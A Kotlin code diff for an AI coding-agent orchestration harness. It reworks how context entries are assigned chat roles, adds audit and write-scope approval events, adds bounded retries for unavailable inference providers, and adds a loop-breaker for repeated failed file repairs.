@@ -184,7 +184,7 @@ object ProfileLoader {
}
object ConfigLoader {
private const val DEFAULT_SERVER_PORT = 8080
private const val DEFAULT_SERVER_PORT = 8090
private const val DEFAULT_SESSION_LIST_LIMIT = 5
private const val DEFAULT_EMBEDDER_DIMENSION = 1536
private const val DEFAULT_L3_DIM = 1536
@@ -184,7 +184,7 @@ data class ArtifactKindConfig(
@Serializable
data class ServerConfig(
val host: String = "localhost",
val port: Int = 8080,
val port: Int = 8090,
)
@Serializable
@@ -9,7 +9,7 @@ class ConfigLoaderTest {
fun `load returns defaults when config file missing`() {
val config = CorrexConfig()
assertEquals("localhost", config.server.host)
assertEquals(8080, config.server.port)
assertEquals(8090, config.server.port)
assertEquals("dark", config.tui.theme)
assertEquals(5, config.tui.sessionListLimit)
assertEquals("human", config.cli.defaultOutput)
+2
View File
@@ -8,6 +8,8 @@ dependencies {
implementation(project(":core:events"))
implementation(project(":core:artifacts"))
implementation(project(":core:sessions"))
testImplementation "org.jetbrains.kotlin:kotlin-test"
testImplementation "org.junit.jupiter:junit-jupiter"
}
tasks.named("koverVerify").configure { enabled = false }
@@ -57,7 +57,9 @@ class DefaultContextPackBuilder(
// "remainingDelta" is the shrinking stage-contract checklist (stage-termination design
// 2026-07-11): it must survive every budget/dedup pass, since its entire purpose is to give
// the model a progress signal that outlives the truncation which otherwise wipes its memory.
private val neverDropSourceTypes = setOf("steeringNote", "eventHistory", "factSheet", "remainingDelta")
// "retryFeedback" carries WHY the last attempt failed + the files already written this stage; if
// truncation evicts it the model cold-starts on the same wrong idea every turn (the write-loop rot).
private val neverDropSourceTypes = setOf("steeringNote", "eventHistory", "factSheet", "remainingDelta", "retryFeedback")
private companion object {
const val CHARS_PER_TOKEN = 4
@@ -362,7 +364,10 @@ class DefaultContextPackBuilder(
sourceType = "factSheet",
sourceId = "factSheet",
tokenEstimate = estimateTokens(content),
role = EntryRole.SYSTEM,
// #312: re-extracted from the live entry set on EVERY build — the most mutable entry in the
// pack, so it must not sit in the cached system prefix. USER, pinned at L0 with the lowest
// ordinal so it still renders ahead of the transcript.
role = EntryRole.USER,
ordinal = FACT_SHEET_ORDINAL,
)
@@ -17,9 +17,13 @@ class ContextClassifier {
fun classify(entry: ContextEntry): ContextClass = when {
entry.sourceType in STATIC_SOURCES -> ContextClass.STATIC
entry.sourceType in STRUCTURED_SOURCES -> ContextClass.STRUCTURED
// A pinned system directive that isn't one of the known static prompts is still
// exact-value content — treat as structured (format-compress ok, never prune).
entry.layer == ContextLayer.L0 && entry.role == EntryRole.SYSTEM -> ContextClass.STATIC
// A pinned L0 directive that isn't one of the known static prompts is still exact-value
// content — never prune it. Keyed on LAYER alone since #312: L0 means "pinned standing
// context" (a budget/pinning property), while role now means "which chat message type"
// (a rendering property). Several L0 entries are deliberately USER-role now — a mutating
// verified baseline, claimed task, clarification answer — and token-pruning those as
// freeform prose would shred exactly the directives they exist to carry.
entry.layer == ContextLayer.L0 -> ContextClass.STATIC
entry.role == EntryRole.TOOL -> ContextClass.STRUCTURED
else -> ContextClass.FREEFORM
}
@@ -12,3 +12,37 @@ data class SteeringNoteAddedEvent(
val content: String,
val stageId: StageId? = null,
) : EventPayload
/**
* One entry in a [ContextAssembledEvent] manifest. Mirrors the identifying fields of
* core:context's ContextEntry (sourceType, sourceId, tokenEstimate, layer, role) but NEVER the
* content — content is a derived projection of the event log (reproducible on replay, see
* invariant #9 / #6) and already lives in CAS via the prompt artifact. This is manifest-only,
* for auditing what got injected without decoding CAS.
*/
@Serializable
data class ContextManifestEntry(
val sourceType: String,
val sourceId: String,
val tokenEstimate: Int,
val layer: String,
val role: String,
)
/**
* Records the manifest of entries injected into a stage's initial context build (#307). Emitted
* once per [core.context.builder.ContextPackBuilder]-produced ContextPack, from the entries that
* actually made it into the pack (post budget/truncation) — the same set that
* [ContextTruncatedEvent] reports drops against. Purely observational: the hints themselves stay
* unevented derived projections; this only names what was fed to the model, so an operator can
* answer "did entry X fire in session Y" from the event log instead of CAS-spelunking.
*/
@Serializable
@SerialName("ContextAssembled")
data class ContextAssembledEvent(
val sessionId: SessionId,
val stageId: StageId,
val contextPackId: String,
val entries: List<ContextManifestEntry>,
val timestampMs: Long,
) : EventPayload
@@ -13,7 +13,12 @@ data class LspDiagnostic(
val severity: String,
val code: String? = null,
val message: String,
)
/** LSP `DiagnosticTag` names, lowercased ("unnecessary", "deprecated"). Lint class, not severity. */
val tags: List<String> = emptyList(),
) {
/** Lint-class diagnostic: reported and recorded, but never a reason to fail a stage. */
val isLint: Boolean get() = tags.isNotEmpty()
}
/** Recorded LSP 3.17 pull-diagnostic observation; replay never re-queries a language server. */
@Serializable
@@ -66,6 +66,21 @@ data class OutsidePathAccessGrantedEvent(
val path: String,
) : EventPayload
/**
* Records that the operator approved widening the write scope/manifest to admit [path], after
* the same path was rejected `escalate_scope_after_n` times in a row (small models frequently
* fail to comply with the WRITE_SCOPE/PATH_OUTSIDE_MANIFEST remediation and thrash instead —
* see #301). Folded the same way [OutsidePathAccessGrantedEvent] widens out-of-workspace reads:
* subsequent writes to this path this session are admitted without re-prompting.
*/
@Serializable
@SerialName("WriteScopeGranted")
data class WriteScopeGrantedEvent(
val sessionId: SessionId,
val stageId: StageId,
val path: String,
) : EventPayload
@Serializable
@SerialName("OrchestrationPaused")
data class OrchestrationPausedEvent(
@@ -30,6 +30,7 @@ import com.correx.core.events.events.TalkieNarrationEvent
import com.correx.core.events.events.OperatorProfileBoundEvent
import com.correx.core.events.events.ProjectProfileBoundEvent
import com.correx.core.events.events.SessionWorkspaceBoundEvent
import com.correx.core.events.events.ContextAssembledEvent
import com.correx.core.events.events.ContextTruncatedEvent
import com.correx.core.events.events.PossibleContradictionFlaggedEvent
import com.correx.core.events.events.EgressHostsGrantedEvent
@@ -71,6 +72,7 @@ import com.correx.core.events.events.BuildPrerequisiteBootstrapAttemptedEvent
import com.correx.core.events.events.WorkspaceVerificationObservedEvent
import com.correx.core.events.events.PlanGroundingEvaluatedEvent
import com.correx.core.events.events.OutsidePathAccessGrantedEvent
import com.correx.core.events.events.WriteScopeGrantedEvent
import com.correx.core.events.events.WorkspaceStateObservedEvent
import com.correx.core.events.events.RiskAssessedEvent
import com.correx.core.events.events.SourceFetchedEvent
@@ -168,6 +170,7 @@ val eventModule = SerializersModule {
subclass(WorkspaceVerificationObservedEvent::class)
subclass(PlanGroundingEvaluatedEvent::class)
subclass(OutsidePathAccessGrantedEvent::class)
subclass(WriteScopeGrantedEvent::class)
subclass(RefinementIterationEvent::class)
subclass(RepoMapComputedEvent::class)
subclass(WorkspaceStateObservedEvent::class)
@@ -190,6 +193,7 @@ val eventModule = SerializersModule {
subclass(AgentInstructionsBoundEvent::class)
subclass(L3MemoryRetrievedEvent::class)
subclass(ContextTruncatedEvent::class)
subclass(ContextAssembledEvent::class)
subclass(ExecutionPlanLockedEvent::class)
subclass(ExecutionPlanRejectedEvent::class)
subclass(PlanCompileCheckedEvent::class)
@@ -0,0 +1,28 @@
package com.correx.core.events.events
import kotlin.test.Test
import kotlin.test.assertFalse
import kotlin.test.assertTrue
class LspDiagnosticTest {
private fun diagnostic(tags: List<String>) = LspDiagnostic(
path = "src/App.tsx",
line = 0,
character = 0,
severity = "error",
code = "6133",
message = "'React' is declared but its value is never read.",
tags = tags,
)
@Test
fun `tagged diagnostic is lint class even at error severity`() {
assertTrue(diagnostic(listOf("unnecessary")).isLint)
assertTrue(diagnostic(listOf("deprecated")).isLint)
}
@Test
fun `untagged diagnostic still gates`() {
assertFalse(diagnostic(emptyList()).isLint)
}
}
@@ -0,0 +1,55 @@
package com.correx.core.events.serialization
import com.correx.core.events.events.ContextAssembledEvent
import com.correx.core.events.events.ContextManifestEntry
import com.correx.core.events.events.EventPayload
import com.correx.core.events.types.SessionId
import com.correx.core.events.types.StageId
import kotlin.test.Test
import kotlin.test.assertEquals
import kotlin.test.assertFalse
class ContextAssembledEventSerializationTest {
@Test
fun `ContextAssembledEvent round-trips through eventModule`() {
val sample: EventPayload = ContextAssembledEvent(
sessionId = SessionId("s"),
stageId = StageId("implement"),
contextPackId = "pack-1",
entries = listOf(
ContextManifestEntry(
sourceType = "conceptPromotion",
sourceId = "concept-42",
tokenEstimate = 120,
layer = "L0",
role = "SYSTEM",
),
),
timestampMs = 1_700_000_000_000L,
)
val encoded = eventJson.encodeToString(EventPayload.serializer(), sample)
assertEquals(sample, eventJson.decodeFromString(EventPayload.serializer(), encoded))
}
@Test
fun `ContextAssembledEvent manifest never carries entry content`() {
val sample: EventPayload = ContextAssembledEvent(
sessionId = SessionId("s"),
stageId = StageId("implement"),
contextPackId = "pack-1",
entries = listOf(
ContextManifestEntry(
sourceType = "steering",
sourceId = "note-1",
tokenEstimate = 5,
layer = "L0",
role = "USER",
),
),
timestampMs = 0L,
)
val encoded = eventJson.encodeToString(EventPayload.serializer(), sample)
assertFalse(encoded.contains("\"content\""), "manifest must not carry entry content: $encoded")
}
}
@@ -2,6 +2,7 @@ package com.correx.core.inference
import com.correx.core.events.types.ProviderId
import com.correx.core.events.types.StageId
import kotlinx.coroutines.delay
import kotlinx.coroutines.sync.Mutex
import kotlinx.coroutines.sync.withLock
import kotlin.time.Duration
@@ -21,6 +22,12 @@ class DefaultInferenceRouter(
private val strategy: RoutingStrategy,
private val cacheTtl: Duration = 5.seconds,
private val timeSource: TimeSource = TimeSource.Monotonic,
// A provider that briefly drops (crash + qa-stack restart) shouldn't collapse into a hard
// NoEligibleProvider abort — give it bounded time to come back before giving up. This only
// applies when the capability IS configured on some provider but that provider is currently
// unhealthy; a capability nobody ever declared fails immediately (see routeCapabilityCandidates).
private val unavailableRetryAttempts: Int = 3,
private val unavailableRetryDelay: Duration = 2.seconds,
) : InferenceRouter {
private val cache = mutableMapOf<ProviderId, HealthEntry>()
@@ -45,12 +52,49 @@ class DefaultInferenceRouter(
}
}
private suspend fun refreshedHealth(provider: InferenceProvider): ProviderHealth =
lockFor(provider.id).withLock {
val fresh = provider.healthCheck()
mapMutex.withLock { cache[provider.id] = HealthEntry(fresh, timeSource.markNow()) }
fresh
}
// Bypasses healthCheck()/TTL entirely — writes Unavailable straight into the cache so the very
// next route() call gates on it, closing the ~18s reactive-poll lag (#300). A later cache-TTL
// expiry or the bounded-wait re-check in route() will naturally pick the provider back up once
// its own healthCheck() reports healthy again.
override suspend fun reportFailure(providerId: ProviderId, reason: String) {
lockFor(providerId).withLock {
mapMutex.withLock { cache[providerId] = HealthEntry(ProviderHealth.Unavailable(reason), timeSource.markNow()) }
}
}
override suspend fun route(stageId: StageId, requiredCapabilities: Set<ModelCapability>): InferenceProvider {
val candidates = requiredCapabilities
.flatMap { registry.resolve(it) }
.distinctBy { it.id }
.ifEmpty { registry.listAll() }
val healthy = candidates.filter { cachedHealth(it) !is ProviderHealth.Unavailable }
// Nobody was ever configured with this capability set — no amount of waiting fixes that,
// fail fast instead of burning the bounded-wait budget below.
if (requiredCapabilities.isNotEmpty() &&
candidates.none { it.capabilities().map { c -> c.capability }.toSet().containsAll(requiredCapabilities) }
) {
throw NoEligibleProviderException(stageId, requiredCapabilities)
}
var healthy = candidates.filter { cachedHealth(it) !is ProviderHealth.Unavailable }
var attempt = 0
while (healthy.isEmpty() && attempt < unavailableRetryAttempts) {
attempt++
log.warn(
"route: capability {} configured but all candidates unhealthy for stage={}" +
" — waiting {} (attempt {}/{}) before declaring NoEligibleProvider",
requiredCapabilities, stageId.value, unavailableRetryDelay, attempt, unavailableRetryAttempts,
)
delay(unavailableRetryDelay)
healthy = candidates.filter { refreshedHealth(it) !is ProviderHealth.Unavailable }
}
val selected = strategy.select(healthy, requiredCapabilities)
// Post-selection re-check closes the TOCTOU window between initial filter and dispatch.
when (val postHealth = selected.healthCheck()) {
@@ -39,6 +39,14 @@ interface InferenceRouter {
requiredCapabilities: Set<ModelCapability>,
modelId: String?,
): InferenceProvider = route(stageId, requiredCapabilities)
/**
* Event-driven health gate: called the moment a connection-level failure is observed on
* [providerId] (e.g. mid-request connection drop), so the NEXT route() call sees it as
* unavailable immediately instead of waiting for the next periodic health poll/cache TTL to
* catch up. Default no-op for routers that don't cache health.
*/
suspend fun reportFailure(providerId: com.correx.core.events.types.ProviderId, reason: String) = Unit
}
class NoEligibleProviderException(
@@ -26,7 +26,23 @@ object PromptRenderer {
// than the original stage task. Instead they render as the FINAL user message, right after the
// tool evidence, where a weak local model attends strongest and reads it as the next action.
// Add a sourceType here (and set the entry's role to USER) to route it to that trailing slot.
private val repairMandateSourceTypes = setOf("retryFeedback")
//
// #312: highest precedence FIRST — at most ONE mandate renders per turn. The trailing slot works
// because it is scarce and authoritative; a recovery stage on a retry with an unmet delta would
// otherwise stack three competing "do this next" blocks and the channel becomes noise again.
private val repairMandatePrecedence = listOf(
"recoveryTicket",
"retryFeedback",
"groundingFeedback",
"rejectionFeedback",
)
// The remaining-delta checklist is not a competing mandate — it is the stage's completion
// signal ("what is left to make true") — so it appends after whichever mandate won rather
// than displacing it.
private const val COMPLETION_SIGNAL = "remainingDelta"
private val trailingSourceTypes = repairMandatePrecedence.toSet() + COMPLETION_SIGNAL
// Tiebreak only: when entries carry no chronological ordinal (all 0 — e.g. router
// chat, which assembles its pack directly), fall back to the old layer priority that
@@ -38,33 +54,48 @@ object PromptRenderer {
}
fun render(contextPack: ContextPack): List<ChatMessage> {
// Every SYSTEM-role entry folds into the single leading system message, whatever its
// layer (L0 additionally folds regardless of role). Strict chat templates (e.g. Qwen)
// reject any system message that is not the first message, so recalled memory, stage
// summaries, and retrieval entries must never render as standalone system turns.
// Every SYSTEM-role entry folds into the single leading system message, whatever its layer.
// Strict chat templates (e.g. Qwen) reject any system message that is not the first message,
// so recalled memory, stage summaries, and retrieval entries must never render as standalone
// system turns.
//
// #312: ROLE alone decides the message type — the old `layer == L0 ||` clause is gone. The
// system block is for content that does not change during a run (prompts, guidance, profiles);
// anything the run mutates (steering, gate verdicts, tickets, baselines, claimed task) is a
// user message, both because a mutating system prefix defeats prompt caching and because
// models under-weight system-folded content relative to the trailing user turn. Layer keeps
// its own job — budget tier and pin/prune eligibility (see ContextClassifier).
val (systemEntries, conversationEntries) = contextPack.layers.entries
.flatMap { (layer, entries) -> entries.map { layer to it } }
.partition { (layer, entry) -> layer == ContextLayer.L0 || entry.role == EntryRole.SYSTEM }
.partition { (_, entry) -> entry.role == EntryRole.SYSTEM }
val systemContent = systemEntries
.sortedWith(compareBy({ it.first.ordinal }, { it.second.ordinal }))
.joinToString("\n\n") { it.second.content }
.takeIf { it.isNotBlank() }
// #293: pull repair mandates out of the inline flow — they render once, as the last turn.
val (repairPairs, inlinePairs) = conversationEntries
.partition { it.second.sourceType in repairMandateSourceTypes }
.partition { it.second.sourceType in trailingSourceTypes }
val conversationMessages = inlinePairs
.sortedWith(compareBy({ it.second.ordinal }, { layerPriority(it.first) }))
.map { (_, entry) -> entry.toChatMessage() }
val repairMandate = repairPairs
.sortedBy { it.second.ordinal }
.joinToString("\n\n") { it.second.content }
// Only the highest-precedence mandate present survives; the rest stay out of the prompt
// entirely (their content is still in the transcript/event log — this slot is not their
// only carrier). The completion signal appends after it.
val mandate = repairMandatePrecedence.firstNotNullOfOrNull { sourceType ->
repairPairs.contentOf(sourceType)
}
val repairMandate = listOfNotNull(mandate, repairPairs.contentOf(COMPLETION_SIGNAL))
.joinToString("\n\n")
.takeIf { it.isNotBlank() }
// Repetition anchoring: steering directives fold into the leading system message, far
// from the final query — weak local models forget them (lost-in-the-middle). Restate
// Repetition anchoring: steering directives render early (they are pinned standing context),
// far from the final query — weak local models forget them (lost-in-the-middle). Restate
// them once as a trailing user turn, where models attend strongest. Template-safe: a
// user message at the end never trips strict system-must-be-first templates.
val anchor = systemEntries
// user message at the end never trips strict system-must-be-first templates. Scans every
// entry, not just the system fold: since #312 a locked steering note is USER-role too, and
// both the locked and unlocked paths deserve the same anchor.
val anchor = (systemEntries + conversationEntries)
.filter { it.second.sourceType == "steeringNote" }
.sortedBy { it.second.ordinal }
.joinToString("\n") { it.second.content }
.takeIf { it.isNotBlank() }
val messages = buildList {
@@ -77,6 +108,12 @@ object PromptRenderer {
return messages.ifEmpty { listOf(ChatMessage("user", "")) }
}
private fun List<Pair<ContextLayer, ContextEntry>>.contentOf(sourceType: String): String? =
filter { it.second.sourceType == sourceType }
.sortedBy { it.second.ordinal }
.joinToString("\n\n") { it.second.content }
.takeIf { it.isNotBlank() }
private fun ContextEntry.toChatMessage(): ChatMessage = ChatMessage(
role = when (role) {
EntryRole.SYSTEM -> "system"
@@ -9,14 +9,12 @@ import com.correx.core.context.model.ContextEntry
import com.correx.core.context.model.ContextLayer
import com.correx.core.context.model.EntryRole
import com.correx.core.events.events.FailureTicketOpenedEvent
import com.correx.core.events.events.FileWrittenEvent
import com.correx.core.events.events.InitialIntentEvent
import com.correx.core.events.events.PlanGroundingEvaluatedEvent
import com.correx.core.events.events.PlanGroundingVerdict
import com.correx.core.events.events.RefinementIterationEvent
import com.correx.core.events.events.RetryAttemptedEvent
import com.correx.core.events.events.StoredEvent
import com.correx.core.events.events.ToolInvocationRequestedEvent
import com.correx.core.events.types.ArtifactId
import com.correx.core.events.types.ContextEntryId
import com.correx.core.events.types.StageId
@@ -35,15 +33,7 @@ fun buildRetryFeedbackEntry(events: List<StoredEvent>, stageId: StageId): Contex
val latest = events
.mapNotNull { it.payload as? RetryAttemptedEvent }
.lastOrNull { it.stageId == stageId } ?: return null
val stageInvocations = events.mapNotNull { it.payload as? ToolInvocationRequestedEvent }
.filter { it.stageId == stageId }
.map { it.invocationId }
.toSet()
val currentImages = events.mapNotNull { it.payload as? FileWrittenEvent }
.filter { it.invocationId in stageInvocations }
.mapNotNull { ev -> ev.postImageHash?.let { ev.path to it } }
.groupBy({ it.first }, { it.second })
.map { (path, hashes) -> path to hashes.last() }
val outcomes = fileRepairOutcomes(events, stageId)
val content = buildString {
appendLine("## Retry repair state")
appendLine(
@@ -51,13 +41,15 @@ fun buildRetryFeedbackEntry(events: List<StoredEvent>, stageId: StageId): Contex
"'${stageId.value}', gate '${latest.gate}'. The previous attempt failed:",
)
appendLine(latest.failureReason)
if (currentImages.isNotEmpty()) {
if (outcomes.isNotEmpty()) {
appendLine()
appendLine(
"Files you have already written this stage (authoritative current images — patch " +
"these, do NOT re-read to rediscover them):",
"Files you have already written this stage (authoritative current state — patch " +
"these, do NOT re-read to rediscover them). Each is annotated with whether " +
"re-writing it actually moved the diagnostic — a file marked unresolved needs a " +
"DIFFERENT fix, not another identical rewrite:",
)
currentImages.forEach { (path, hash) -> appendLine("- $path — CAS $hash") }
outcomes.forEach { o -> appendLine("- ${describeFileRepairOutcome(o)}") }
}
append(
"Repair the recorded image and the named failure above first. Do not re-discover " +
@@ -77,6 +69,10 @@ fun buildRetryFeedbackEntry(events: List<StoredEvent>, stageId: StageId): Contex
)
}
// FileRepairOutcome / fileRepairOutcomes / describeFileRepairOutcome moved to
// RecoveryFileLoopBreak.kt (Vikunja #309) — shared with the recovery-stage guard there, and split out
// to keep both this file and DefaultSessionOrchestratorRecovery.kt under detekt's function-count cap.
/**
* Feeds the deterministic plan-grounding findings back into the architect stage when the freestyle
* driver returned its plan for another attempt (grounding verdict != PASS). The findings are already
@@ -102,7 +98,8 @@ fun buildGroundingFeedbackEntry(events: List<StoredEvent>, stageId: StageId): Co
sourceType = "groundingFeedback",
sourceId = stageId.value,
tokenEstimate = content.length / 4,
role = EntryRole.SYSTEM,
// #312: a gate verdict is run-state, not standing instruction — USER, trailing slot.
role = EntryRole.USER,
)
}
@@ -163,7 +160,10 @@ fun buildRecoveryTicketEntry(events: List<StoredEvent>, stageId: StageId): Conte
sourceType = "recoveryTicket",
sourceId = stageId.value,
tokenEstimate = content.length / 4,
role = EntryRole.SYSTEM,
// #312: the recovery stage exists ONLY because of this ticket, yet as SYSTEM it folded in
// above the whole transcript. It is the same shape as retryFeedback — USER, trailing slot,
// and highest precedence there.
role = EntryRole.USER,
)
}
@@ -204,7 +204,11 @@ fun buildRemainingDeltaEntry(items: List<Triple<String, String, String>>): Conte
sourceType = "remainingDelta",
sourceId = "remaining-delta",
tokenEstimate = content.length / 4,
role = EntryRole.SYSTEM,
// #312: recomputed every turn a write lands — the single most mutable entry in the pack.
// As SYSTEM it both sat in the weakest slot and invalidated the cached system prefix each
// turn. USER, and appended after whichever repair mandate won (it is the completion signal,
// not a competing instruction).
role = EntryRole.USER,
)
}
@@ -281,6 +285,28 @@ fun buildProjectProfileEntry(profile: BoundProjectProfile): ContextEntry {
)
}
/**
* The stage's role prompt `prompts/<role>.md` or an inline `promptInline` as its system prompt.
*
* #416: L0/SYSTEM, so PromptRenderer folds it into the leading system message rather than rendering it
* as a user turn arriving behind the intent, decision journal, repo map and docs catalog, outranked by
* the pinned `schemaInstruction` it contradicts. The renderer reserves the system block for content
* that does not change during a run "prompts, guidance, profiles" which is exactly this.
*
* Layer choice is not what pins it: `agentPrompt` is in REQUIRED_SOURCE_TYPES, so it was already exempt
* from pruning at L1 too.
*/
fun buildAgentPromptEntry(text: String, stageId: StageId, tokenEstimate: Int): ContextEntry =
ContextEntry(
id = ContextEntryId(UUID.randomUUID().toString()),
layer = ContextLayer.L0,
content = text,
sourceType = "agentPrompt",
sourceId = stageId.value,
tokenEstimate = tokenEstimate,
role = EntryRole.SYSTEM,
)
// CLAUDE.md / AGENTS.md injected as L0 standing context (feat/backlog-burndown).
fun buildAgentInstructionsEntry(instructions: BoundAgentInstructions): ContextEntry {
val content = instructions.content
@@ -75,6 +75,12 @@ internal const val WORKSPACE_PRECONDITION_GATE = "workspace_precondition"
// (never retried in place) by the step handler before the normal retry path.
internal const val STAGE_LOOP_BREAK_GATE = "stage_loop_break"
// Gate id for the same-fingerprint loop-breaker firing INSIDE the recovery stage itself (Vikunja
// #309) — a file recovery keeps rewriting without ever clearing its diagnostic. Distinct from
// STAGE_LOOP_BREAK_GATE (which fires on repeated raw TOOL failures pre-recovery): this one is keyed
// on (path, diagnostic) persistence, since recovery's file_edit calls themselves typically succeed.
internal const val RECOVERY_LOOP_BREAK_GATE = "recovery_loop_break"
internal val GATE_REQUIRED_CAPABILITY: Map<String, String> = mapOf(
"execution" to "file_write",
"contract" to "file_write",
@@ -280,6 +280,9 @@ internal fun DefaultSessionOrchestrator.findRecoveryStage(graph: WorkflowGraph,
id != failingStageId && (cfg.metadata["role"] == "recovery" || id.value == "recovery")
}?.key
// isRecoveryStage / recoveryFileLoopBreak / escalateRecoveryLoop moved to RecoveryFileLoopBreak.kt
// (Vikunja #309) — split out to keep this file under detekt's function-count cap.
/**
* Route-to-owner resolution: map the failing gate's [evidence] (build/tsc output that names
* files, e.g. "src/App.tsx: TS2322") to the stage that most recently WROTE one of those files,
@@ -293,6 +293,15 @@ internal suspend fun DefaultSessionOrchestrator.enterStage(
return StepResult.Continue(ctx.copy(stageCount = ctx.stageCount + 1))
}
val refreshedState = orchestrationRepository.getState(ctx.sessionId)
// #309: inside the recovery stage itself, a same-file/same-diagnostic recurrence is
// never left to loop — recovery has no further tier to route to, so this checks BEFORE
// any of the normal gate-retry machinery (which the whole-reason-string progress
// fingerprint can be fooled into treating as "still progressing" indefinitely).
if (isRecoveryStage(ctx.graph, stageId)) {
recoveryFileLoopBreak(ctx.sessionId, stageId, tuning.recoveryFileRewriteLimit)?.let { reason ->
return StepResult.Terminal(escalateRecoveryLoop(ctx, stageId, result.gate, reason))
}
}
// A repeated missing-build-prerequisite block is not an ordinary retry: it takes a
// bounded, separately-budgeted precondition-resolution path (design #170) that never
// charges the stage retry counter. FallThrough = defer to the normal recovery routing.
@@ -0,0 +1,80 @@
package com.correx.core.kernel.orchestration
// Split into its own file (same reason as RecoveryFileLoopBreak.kt) to keep
// SessionOrchestratorGates2.kt under detekt's per-file function-count cap.
import com.correx.core.context.model.ContextEntry
import com.correx.core.events.events.LspDiagnosticsCompletedEvent
import com.correx.core.events.events.RetryAttemptedEvent
import com.correx.core.events.types.SessionId
import com.correx.core.events.types.StageId
internal const val LSP_DIAGNOSTICS_GATE = "lsp_diagnostics"
/**
* True when [failureReason] names at least one of [writtenPaths] (Vikunja #461). The frozen mandate
* quotes diagnostics as `src/App.tsx:12:5 TS2322 ...`, so the path token is matched with the same
* suffix rule [resolveTicketOwner] uses on ticket evidence the failure may name `App.tsx` while
* the write manifest holds the workspace-relative `src/App.tsx`.
*/
internal fun failureNamesWrittenPath(failureReason: String, writtenPaths: List<String>): Boolean {
val named = EVIDENCE_PATH_RE.findAll(failureReason)
.map { it.value.substringBefore(':').replace('\\', '/') }
.filter { it.length >= MIN_EVIDENCE_TOKEN }
.toSet()
if (named.isEmpty()) return false
return writtenPaths.any { written ->
val norm = written.replace('\\', '/')
named.any { norm == it || norm.endsWith("/$it") }
}
}
/**
* In-loop refresh of a stale `lsp_diagnostics` repair mandate (Vikunja #461). On a gate-repair retry
* the failure text is frozen for the whole tool loop: the agent edits the offending file, is told
* "written successfully", and keeps editing against a diagnostic it may already have cleared it
* only finds out after `stage_complete`, when [runPostStageGates] re-runs from the top. Called from
* the existing `wroteThisRound` hook, this re-pulls diagnostics and records them, so
* [buildRetryFeedbackEntry]'s per-file ledger flips to "done, leave it" in-loop. Rebuilding from the
* recorded event (invariant #9) is what keeps the fresh truth replayable, and is why there is no new
* message format here.
*
* Scoped to LSP by design: a `tsc` / `npm run build` re-run per write is too expensive. Fires only
* when the write landed on a path the frozen failure actually names, so an unrelated write in the
* same loop costs nothing.
*
* Returns the rebuilt `retryFeedback` entry, or null when nothing applies (no runner, wrong gate, no
* overlap, or the pull was skipped). Returns null on a skipped pull deliberately: an empty
* diagnostics list from a server that never started reads as "clean" to the ledger, and telling the
* model to leave a still-broken file alone is worse than leaving the stale text in place.
*/
@Suppress("ReturnCount")
internal suspend fun SessionOrchestrator.refreshLspRetryMandate(
sessionId: SessionId,
stageId: StageId,
effectives: RunEffectives,
): ContextEntry? {
val runner = lspDiagnosticsRunner ?: return null
val workspaceRoot = effectives.policy?.workspaceRoot ?: return null
val pending = eventStore.read(sessionId)
.mapNotNull { it.payload as? RetryAttemptedEvent }
.lastOrNull { it.stageId == stageId }
?: return null
if (pending.gate != LSP_DIAGNOSTICS_GATE) return null
// Pull for the stage's WHOLE written set, not just the paths the failure names, even though the
// overlap is what triggers the refresh: the recorded event is read back per path, and a path
// absent from it reads as clean. A partial pull would mark every other file the stage wrote
// "done, leave it" on no evidence.
val paths = stageWrittenPaths(sessionId, stageId)
if (!failureNamesWrittenPath(pending.failureReason, paths)) return null
val result = runner.pull(LspDiagnosticsRequest(workspaceRoot, paths))
if (result.skippedReason != null) return null
val diagnostics = result.diagnostics.filter { it.path in paths }
emit(
sessionId,
LspDiagnosticsCompletedEvent(sessionId, stageId, result.server, diagnostics, result.skippedReason),
)
return buildRetryFeedbackEntry(eventStore.read(sessionId), stageId)
}
@@ -51,4 +51,21 @@ data class OrchestrationTuning(
val stageFailureLoopLimit: Int = 6,
/** Minimum confidence for a post-failure diagnostic proposal (#294) to be routed into recovery. */
val diagnosisMinConfidence: Double = 0.5,
/**
* After this many consecutive WRITE_SCOPE/PATH_OUTSIDE_MANIFEST rejections of the SAME path in
* a session, stop hard-rejecting and escalate to user approval instead (#301) small models
* frequently fail to comply with the remediation and thrash rather than widen scope themselves.
* 0 disables escalation (falls back to the hard-block-forever behavior). A headless session
* (no approver connected) auto-rejects the escalated prompt rather than hanging.
*/
val escalateScopeAfterN: Int = 3,
/**
* Inside the recovery stage (Vikunja #309): how many times the SAME file may be rewritten
* without its diagnostic ever clearing before the same-fingerprint loop-breaker escalates and
* fails the run, instead of continuing an unbounded repair loop. Recovery is a single
* continuous ReAct loop (see maxToolRounds doc), so the cumulative tool-failure breaker never
* fires when every file_edit call itself succeeds only the downstream diagnostic keeps
* failing hence this separate, path-keyed guard.
*/
val recoveryFileRewriteLimit: Int = 3,
)
@@ -0,0 +1,158 @@
package com.correx.core.kernel.orchestration
// Split out of ContextFeedback.kt / DefaultSessionOrchestratorRecovery.kt (Vikunja #309) purely to
// stay under detekt's per-file function-count threshold — this is the shared data source (and its
// one consumer that isn't a ContextEntry builder) for the two consumers described below.
import com.correx.core.events.events.FailureTicketOpenedEvent
import com.correx.core.events.events.FileWrittenEvent
import com.correx.core.events.events.LspDiagnosticsCompletedEvent
import com.correx.core.events.events.StoredEvent
import com.correx.core.events.events.ToolInvocationRequestedEvent
import com.correx.core.events.types.SessionId
import com.correx.core.events.types.StageId
import com.correx.core.kernel.execution.WorkflowResult
import com.correx.core.kernel.retry.FailureFingerprint
import com.correx.core.transitions.graph.WorkflowGraph
/**
* Per-file repair outcome for a stage's own writes this stage-entry (Vikunja #309, shared data
* source for two consumers: the retry-feedback ledger in ContextFeedback.kt, and the recovery
* same-fingerprint guard below). Correlates each [FileWrittenEvent] with the next
* [LspDiagnosticsCompletedEvent] recorded for that path (invariant #9 event-derived, no
* re-observation) to tell "rewriting this file is converging" from "rewriting this file has changed
* nothing" — the closed/open "tab-keeping" a bare file list can't express.
*/
internal data class FileRepairOutcome(
val path: String,
val writeCount: Int,
/**
* True when the diagnostic run following the LAST write for this path reported no errors. False
* when it reported errors OR when no run has happened since that write see [unchecked], which
* separates the two. "Not yet checked" must never read as "clean": telling the model to leave a
* file alone on the strength of a run that never happened is the exact mis-signal this ledger exists
* to prevent.
*/
val resolved: Boolean,
/** True when NO diagnostic run has been recorded since the last write for this path. */
val unchecked: Boolean,
/** Diagnostic codes present after EVERY write (only meaningful when [resolved] is false). */
val persistentCodes: Set<String>,
/** 1-based write index at which the diagnostic first went clean (only set when [resolved]). */
val clearedAtWrite: Int?,
)
